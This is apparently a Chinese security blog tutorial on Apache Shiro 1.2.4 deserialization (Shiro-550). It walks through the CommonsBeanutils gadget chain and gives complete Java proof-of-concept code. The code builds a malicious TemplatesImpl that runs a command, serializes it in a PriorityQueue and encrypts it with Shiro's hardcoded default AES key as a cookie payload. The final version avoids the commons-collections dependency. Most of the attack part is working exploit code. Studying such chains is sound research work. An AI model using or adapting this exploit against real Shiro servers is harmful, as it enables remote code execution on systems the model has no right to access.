Shiro反序列化分析

前言

Shiro,一个流行的web框架,养活了一大批web狗,现在来对它分析分析。Shiro的gadget是CB链,其实是CC4改过来的,因为Shiro框架是自带Commoncollections的,除此之外还带了一个包叫做CommonBeanUtils,主要利用类就在这个包里

环境搭建

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2

<dependency>     <groupId>javax.servlet</groupId>     <artifactId>jstl</artifactId>     <version>1.2</version>     <scope>runtime</scope> </dependency> 

之后tomat搭起来就行了,选择sample-web.warShiro反序列化分析

CB链分析

先回顾一下CC4

* Gadget chain:  *      ObjectInputStream.readObject()  *          PriorityQueue.readObject()  *              PriorityQueue.heapify()  *                  PriorityQueue.siftDown()  *                 PriorityQueue.siftDownUsingComparator()  *                     TransformingComparator.compare()  *                         InvokerTransformer.transform()  *                             Method.invoke()  *                                 TemplatesImpl.newTransformer()  *                                     TemplatesImpl.getTransletInstance()  *                                         Runtime.exec() 

CB链跟CC4的不同点就是从compare开始的,正好可以从CommonBeanUtils包里找到BeanComparator这个类
Shiro反序列化分析
主要看PropertyUtils.getProperty这个方法可以任意类的get方法调用,可以调用任意bean(class)的一个get方法去获取nameproperty属性Shiro反序列化分析
写个demo测试一下

package org.example;  import org.apache.commons.beanutils.PropertyUtils;  import java.lang.reflect.InvocationTargetException;  public class User {     private String name;     private int age;     public User(String name, int age){         this.name = name;         this.age = age;     }      public String getName() {         System.out.println("Hello, getname");         return name;     }     public int getAge() {         System.out.println("Hello, getage");         return age;     }     public void setName(String name) {         this.name = name;     }     public void setAge(int age) {         this.age = age;     }      public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {         PropertyUtils.getProperty(new User("F12", 18), "name");         PropertyUtils.getProperty(new User("F12", 18), "age");     } }  // 输出 Hello, getname Hello, getage 

这样就可以利用TemplatesImpl中的getOutputProperties方法,这里面可以触发任意类的实例化,从而执行命令,注意这个类须继承AbstractTranslet类,或则改掉父类的默认值,如果忘了请回顾CC3
依赖:

<dependencies>         <dependency>             <groupId>commons-beanutils</groupId>             <artifactId>commons-beanutils</artifactId>             <version>1.8.3</version>         </dependency>         <dependency>             <groupId>org.apache.shiro</groupId>             <artifactId>shiro-core</artifactId>             <version>1.2.4</version>         </dependency>          <dependency>             <groupId>org.javassist</groupId>             <artifactId>javassist</artifactId>             <version>3.27.0-GA</version>         </dependency>          <dependency>             <groupId>commons-collections</groupId>             <artifactId>commons-collections</artifactId>             <version>3.2.1</version>         </dependency>         <dependency>             <groupId>commons-logging</groupId>             <artifactId>commons-logging</artifactId>             <version>1.1.1</version>         </dependency> </dependencies> 
package org.example;   import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*; import org.apache.commons.beanutils.BeanComparator;  import java.io.*; import java.lang.reflect.Field; import java.util.PriorityQueue;  public class Test {     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {         Field field = obj.getClass().getDeclaredField(fieldName);         field.setAccessible(true);         field.set(obj, value);     }     public static void serialize(Object obj) throws IOException {         FileOutputStream fis = new FileOutputStream("cb.bin");         ObjectOutputStream ois = new ObjectOutputStream(fis);         ois.writeObject(obj);     }     public static void deserialize(String filename) throws IOException, ClassNotFoundException {         FileInputStream fis = new FileInputStream(filename);         ObjectInputStream ois = new ObjectInputStream(fis);         ois.readObject();     }     public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {         ClassPool pool = ClassPool.getDefault();         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));         CtClass ct = pool.makeClass("Cat");         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";         ct.makeClassInitializer().insertBefore(cmd);         String randomClassName = "Evil" + System.nanoTime();         ct.setName(randomClassName);         ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));         TemplatesImpl obj = new TemplatesImpl();         setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});         setFieldValue(obj, "_name", "F12");         setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());         final BeanComparator beanComparator = new BeanComparator();         final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);         priorityQueue.add(1);         priorityQueue.add(2);         setFieldValue(beanComparator, "property", "outputProperties");         setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});         serialize(priorityQueue);         deserialize("cb.bin");     } }  

追踪一下链的过程,在PriorityQueue的readObject打个断点,开追,进入heapifyShiro反序列化分析
进入siftDown
Shiro反序列化分析
进入siftDownUsingComparator
Shiro反序列化分析
进入compare,到达关键点,获取TemplatesImpl的outputProperites属性
Shiro反序列化分析
调用TemplatesImpl.getOutputProperites
Shiro反序列化分析
进入newTransformer
Shiro反序列化分析
进入getTransletInstance,到达世界最高城defineTransletClasses
Shiro反序列化分析
后面就不看了,就是defineClass,至此CB链结束,还挺简单的

Shiro550分析

环境上面已经搭建好了,这里不说了
Shiro550用的其实就是CB链,这里只是有一些细节需要注意,Shiro的触发点是Cookie处解码时会进行反序列化,他生成的反序列化字符串是进行AES对称加密的,因此要在对数据进行一次AES加密,反序列化漏洞的利用就建立在知晓key的情况下,而shiro最初时,key是直接硬编码写在源码里的,全局搜serialize
Shiro反序列化分析
可以看到这个DEFAULT_CIPHER_KEY_BYTES,amazing
Shiro反序列化分析

package org.example;   import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*; import org.apache.commons.beanutils.BeanComparator; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource;  import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.PriorityQueue;  public class Test {     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {         Field field = obj.getClass().getDeclaredField(fieldName);         field.setAccessible(true);         field.set(obj, value);     }     public static void serialize(Object obj) throws IOException {         FileOutputStream fis = new FileOutputStream("cb.bin");         ObjectOutputStream ois = new ObjectOutputStream(fis);         ois.writeObject(obj);     }     public static void deserialize(String filename) throws IOException, ClassNotFoundException {         FileInputStream fis = new FileInputStream(filename);         ObjectInputStream ois = new ObjectInputStream(fis);         ois.readObject();     }     public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {         ClassPool pool = ClassPool.getDefault();         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));         CtClass ct = pool.makeClass("Cat");         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";         ct.makeClassInitializer().insertBefore(cmd);         String randomClassName = "Evil" + System.nanoTime();         ct.setName(randomClassName);         ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));         TemplatesImpl obj = new TemplatesImpl();         setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});         setFieldValue(obj, "_name", "F12");         setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());         final BeanComparator beanComparator = new BeanComparator();         final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);         priorityQueue.add(1);         priorityQueue.add(2);         setFieldValue(beanComparator, "property", "outputProperties");         setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});         serialize(priorityQueue);         byte[] bytes = Files.readAllBytes(Paths.get("D:\Java安全学习\Property\cb.bin"));         AesCipherService aes = new AesCipherService();         byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");         ByteSource encrypt = aes.encrypt(bytes, key);         System.out.println(encrypt.toString());     } } 

但是直接报错了,报的是cc中的ComparableComparator的那个错,虽然shiro中内置了CommonCollection的一部分,但是并不是所有,而org.apache.commons.collections.comparators.ComparableComparator这个类就在CC包里面,且在shiro中没有,所以寄
Shiro反序列化分析

无依赖Shiro550 Attack

关键点在于compare方法,如果不指定comparator的话,会默认为cc中的ComparableComparator
Shiro反序列化分析
因此我们需要指定一个Comparator

  • 实现java.util.Comparator接口
  • 实现java.io.Serializable接口
  • Java、shiro或commons-beanutils自带,且兼容性强

可以找到AttrCompare
Shiro反序列化分析

package org.example;   import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; import javassist.*; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.collections.map.CaseInsensitiveMap; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource; import sun.misc.ASCIICaseInsensitiveComparator;  import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.Comparator; import java.util.PriorityQueue;  public class Test {     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {         Field field = obj.getClass().getDeclaredField(fieldName);         field.setAccessible(true);         field.set(obj, value);     }     public static void serialize(Object obj) throws IOException {         FileOutputStream fis = new FileOutputStream("cb.bin");         ObjectOutputStream ois = new ObjectOutputStream(fis);         ois.writeObject(obj);     }     public static void deserialize(String filename) throws IOException, ClassNotFoundException {         FileInputStream fis = new FileInputStream(filename);         ObjectInputStream ois = new ObjectInputStream(fis);         ois.readObject();     }     public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {         ClassPool pool = ClassPool.getDefault();         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));         CtClass ct = pool.makeClass("Cat");         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";         ct.makeClassInitializer().insertBefore(cmd);         String randomClassName = "Evil" + System.nanoTime();         ct.setName(randomClassName);         ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));         TemplatesImpl obj = new TemplatesImpl();         setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});         setFieldValue(obj, "_name", "F12");         setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());         final BeanComparator beanComparator = new BeanComparator();         final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);         priorityQueue.add(1);         priorityQueue.add(2);         setFieldValue(beanComparator, "property", "outputProperties");         setFieldValue(beanComparator, "comparator", new AttrCompare());         setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});         serialize(priorityQueue);         byte[] bytes = Files.readAllBytes(Paths.get("D:\Java安全学习\Property\cb.bin"));         AesCipherService aes = new AesCipherService();         byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");         ByteSource encrypt = aes.encrypt(bytes, key);         System.out.println(encrypt.toString());     } } 

成功Attack
Shiro反序列化分析

发表评论

评论已关闭。

相关文章